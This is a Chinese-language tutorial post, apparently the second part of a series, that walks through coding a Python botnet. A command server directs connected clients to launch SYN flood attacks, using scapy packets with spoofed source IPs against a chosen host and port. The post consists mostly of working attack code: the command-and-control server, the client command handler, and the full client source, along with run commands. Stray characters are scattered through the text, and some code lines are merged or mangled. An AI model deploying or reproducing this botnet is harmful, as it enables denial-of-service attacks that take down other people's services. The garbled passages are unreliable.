四在第一篇學習了基礎知識抖棘,本篇實現Server和Client的編碼實現
- Server端
由于Server端能等待Client主動連接,所以在Server端發(fā)送命令嗦明,控制Client端發(fā)起SYN泛洪攻擊椭更。
實現主函數的完整邏輯,在主函數中創(chuàng)建socket饶深, 綁定所有網絡地址和58868端口并開始監(jiān)聽餐曹,之后新開一個線程來等待客戶端的連接,以免阻塞輸入命令敌厘。
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 58868))
s.listen(1024)
t = Thread(target=waitConnect,args=(s,))
t.start()
print('Wait at least a client connection!')
while not len(socketList): #主函數中我們第一次輸入命令之前需要至少有一個客戶端連接到服務器
pass
print('It has been a client connection!')
while True: print('=' * 50)
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')
#等待輸入命令
cmd_str = input('Please input cmd:')
if len(cmd_str):
if cmd_str[0] == '#':
sendCmd(cmd_str) ##如果滿足了台猴,我們就把命令發(fā)送給所有客戶端。
編寫主函數中沒有完成的子功能俱两。 首先我們應該實現等待客戶端的函數饱狂,方便開啟新的線程。
#等待連接
def waitConnect(s):
while True:
sock,addr = s.accept()
if sock not in socketList: #新連接的socket要判斷一下是否在socketList中已經存儲過了宪彩,如果沒有的話就添加到socketList中
socketList.append(sock)
#發(fā)送命令
def sendCmd(cmd):
print('Send command......')
for sock in socketList:
sock.send(cmd.encode('utf-8'))
- Client端
在Client端實現對主機的SYN泛洪攻擊休讳,并在腳本啟動后主動連接Server端,等待Server端發(fā)送命令尿孔。
在主函數中先創(chuàng)建ArgumentParser()對象衍腥,并將需要解析的命令參數添加好磺樱。
def main():
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host', type=str)
p.add_argument('-p', dest='port', type=int)
p.add_argument('-c', dest='cmd', type=str)```
```
#測試我們連接到本地地址的58868端口吧!之后我們就可以等待服務器發(fā)送命令了婆咸。
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',58868)) print('To connected server was success!')
print("=" * 40)
cmdHandle(s,p)
```
except:
print('The network connected failed!')
print('Please restart the script!')
sys.exit(0)
將接收命令和處理命令定義在了一個單獨的函數中。在這里用到了一個全局變量芜辕,用于判斷是否有進程正在發(fā)起SYN泛洪攻擊尚骄。之后就開始循環(huán)接收命令了,接收之后到的數據是byte型侵续,需要對其進行解碼倔丈,解碼之后才是字符串。如果接收到的數據長度為0状蜗,就跳過后續(xù)的內容需五,重新接收數據。
處理命令
def cmdHandle(sock,parser):
global curProcess
while True:
#接收命令
data = sock.recv(1024).decode('utf-8')
if len(data) == 0:
print('The data is empty')
continue
如果數據的長度不為0轧坎,就判斷是否具有命令基本格式的特征(#)宏邮,滿足基本條件就需要用我們的ArgumentParser對象來解析命令了
if data[0] == '#':
try: #解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host m_port = options.port
m_cmd = options.cmd
命令參數解析出來后,我么就要判斷到底是start命令還是stop命令了缸血,如果是start命令蜜氨,我們首先判斷當前是否有進程在運行,如果有進程判斷進程是否存活捎泻。如果當前有進程正在發(fā)起SYN泛洪攻擊飒炎,我們就先結束這個進程,并清空屏幕笆豁。然后我們就直接啟動一個進程郎汪,發(fā)起SYN泛洪攻擊
DDoS啟動命令
if m_cmd.lower() == 'start':
if curProcess != None and curProcess.is_alive():
#結束進程
curProcess.terminate() curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood,args=(m_host,m_port))
p.start() curProcess = p
DDoS停止命令
elif m_cmd.lower() =='stop':
if curProcess.is_alive():
curProcess.terminate()
os.system('clear')
except:
print('Failed to perform the command!')
###五、測試
- 運行Server腳本
``` sudo python3 ddosSrv.py ```
- 運行Client腳本
```sudo python3 ddosCli.py ```
- 輸入一個命令測試一下
```#-H x.x.x.x -p 80 -c start ```
#####Client端源代碼:
!/usr/bin/python3
-- coding: utf-8 --
import sys
import socket
import random
import argparse
from multiprocessing import Process
from scapy.all import *
import os
isWorking = False
curProcess = None
SYN泛洪攻擊
def synFlood(tgt,dPort):
print('='100)
print('The syn flood is running!')
print('='100)
srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
packet = ipLayer / tcpLayer
send(packet)
命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start>'
處理命令
def cmdHandle(sock,parser):
global curProcess
while True:
#接收命令
data = sock.recv(1024).decode('utf-8')
if len(data) == 0:
print('The data is empty')
return
if data[0] == '#':
try:
#解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host
m_port = options.port
m_cmd = options.cmd
#DDoS啟動命令
if m_cmd.lower() == 'start':
if curProcess != None and curProcess.is_alive():
curProcess.terminate()
curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood,args=(m_host,m_port))
p.start()
curProcess = p
#DDoS停止命令
elif m_cmd.lower() =='stop':
if curProcess.is_alive():
curProcess.terminate()
os.system('clear')
except:
print('Failed to perform the command!')
def main():
#添加需要解析的命令
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host', type=str)
p.add_argument('-p', dest='port', type=int)
p.add_argument('-c', dest='cmd', type=str)
print("*" * 40)
try:
#創(chuàng)建socket對象
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#連接到服務器端
s.connect(('127.0.0.1',58868))
print('To connected server was success!')
print("=" * 40)
#處理命令
cmdHandle(s,p)
except:
print('The network connected failed!')
print('Please restart the script!')
sys.exit(0)
if name == 'main':
main()
結束